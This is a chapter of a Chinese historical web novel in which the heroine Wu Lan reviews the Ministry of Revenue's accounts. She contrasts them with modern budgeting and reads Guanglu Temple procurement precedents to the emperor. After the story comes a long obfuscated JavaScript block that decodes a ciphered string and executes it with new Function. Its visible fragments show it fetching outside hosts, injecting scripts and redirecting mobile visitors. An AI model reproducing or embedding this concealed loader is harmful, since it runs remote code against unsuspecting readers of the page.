100【预算和结算制】(1 / 2)

自打邬阑去了户部历事,翻阅了大量的各部账本之后才知道,户部虽是管理了天下绝大部分的会计账,但有些部门的账只是岁终进览,好比营繕是总于工部,太仆、光禄各有司存,内府及皇宫各归司礼监和御马监等,户部只是负责统计他们的账目。

所以,户部实际管理的账总结起来就是:一曰岁征、一曰岁收、一曰岁支、一曰岁储;具体就是‘总数会其略,散数注其详’。然后大率一年以岁征为定额,如岁收少于岁征,则拖欠可查;岁支多余岁征,则撙节可计;岁收比岁征加多,则查交纳某年某项钱粮;岁支比岁征较少,则计本年余剩若干。

如此收支既明,即为次年岁派实征通融节缩之计。

邬阑对此的理解就是,这就是古代版的预算和决算制度,与她所理解的现代的预算决算制差别蛮大。首先,现代的预决算是将生产经营活动事先进行预估,好比一个企业定年度预算,预估下一年内经营规模,包括收入、成本、利润、相关开支、产品售价调整等。

而户部每年汇总天下各有司、部的账,集成会计总账,虽有统计,但没有数据分析,虽有岁征为参照,但岁征只是一个扁平的数字,并不具有任何意义,体现不出国家每年发展的情况。

永明九年的九月十六,永明帝召户部、礼部、光禄寺、内阁、御史等一干人,于懋勤殿议事,就是讨论光禄寺的会计问题。

起因就是在这之前,邬阑在皇帝面前正好就提出了光禄寺的预决算问题。

她除了是司珍和乾清宫牌子外,还有一个头衔就是光禄寺的银库大使。那日提出问题之后,第二日,皇帝就召了光禄寺卿徐兖和户部尚书古德海过来听取意见。

光禄寺你要说它是中央的一个后勤部门也合适,要说它是一个单位大食堂也说的过去,只是这个‘大食堂’太大而已,其实光禄寺的问题不光是账务问题,太多问题了。

永明帝除了召那二位,邬阑同样也被叫到御前。

“陛下,臣小小总结了一下,近二十年的光禄寺的沿革事例,臣选出一些念给诸位听:万和十五年,今后但系光禄寺买一应供用物件,比于民间交易价钱,每多十文,随物贵贱,每加派卖物之人,照依时估,多取十文利息;十八年,令光禄寺会计每年合用果品厨料等项,先期题请,行本部分派各省府州县,支给官钱,照依时价收买本色,辩验堪中,点差殷实大户,及选委有职人员解部,札赴光禄寺上纳……”

“二十年,吏部尚书奏请减派物料,复:奉圣旨,各项果品厨料,今后以十分为率,量减二分;续本部题:请永为定例;各该衙门支用物料,务要撙节,不许泛滥妄费……”

邬阑停顿一下,解释道:“头两条涉及同一个问题:时估,而第三条在臣看来是有问题的,就在于量减的依据在哪里?永为定例,可否考虑过现实因素?”

“陛下,臣要不继续往下念?完了之后臣再说说自己的想法。”

永明帝道:“准了。”

邬阑继续念道:“接下来这条有意思……二十一年,大名府完县大户金益等题:要将该解的薥秫上纳价银,或准纳粟米,本部复议:该寺喂养牲口而薥秫原不可缺,合令本解籴买正数外,量减常年加耗,禁革各项使用,如数上纳……”

“二十一年,光禄寺卿题:各项厨料,照依京师时估,定议则例,行各处查照发去价值,征解折色银两,送寺买办……”

“二十二年,钦奉圣谕:光禄寺年用三十六万两银,可是作何费用,礼部当知一问,令回该本寺卿等开具数目;复:奉圣旨,这所费开上,无细开之数……”

“二十四年,先年加派光禄寺厨料果品,已经户部议改,今虽急用,但愿系额外……诏书到日,除已征在官者,仍解部外,以后悉行停止,不许朦胧派征……”

“永明元年,给事中题,尚书复:准行光禄寺,自今起,每日将收过、进过一应上供钱粮,及各廒、各库收除、见在数目,与房租家火月钱,麻裢桶篓等项银两,俱查照该寺原设簿籍,逐一登记,遇有公用应该动支,俱听科道挂号稽查,仍行各该衙门官员,一体遵照。不得占用厨役,私纳月钱……”

“五年,户科给事中条议:光禄寺粳糯,及上中白米,积贮数多,将来陈朽,乞要折纳,尚书议复:将本年应解该寺本色粳米,每石折银一两,糯米折银一两一钱,征解交纳,下年份仍征本色,以后本折轮年征运……”

“七年,光禄寺卿题:大官署白粮近年积存数少,供应不敷,要将粟米改支之法,暂为酌复本折兼派之法,量为酌处……”

其实邬阑念了那么多,徐兖和古德海渐渐回过味来,先前还不清楚她的意思,这下就算再不明白也大致猜到了她的意图。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();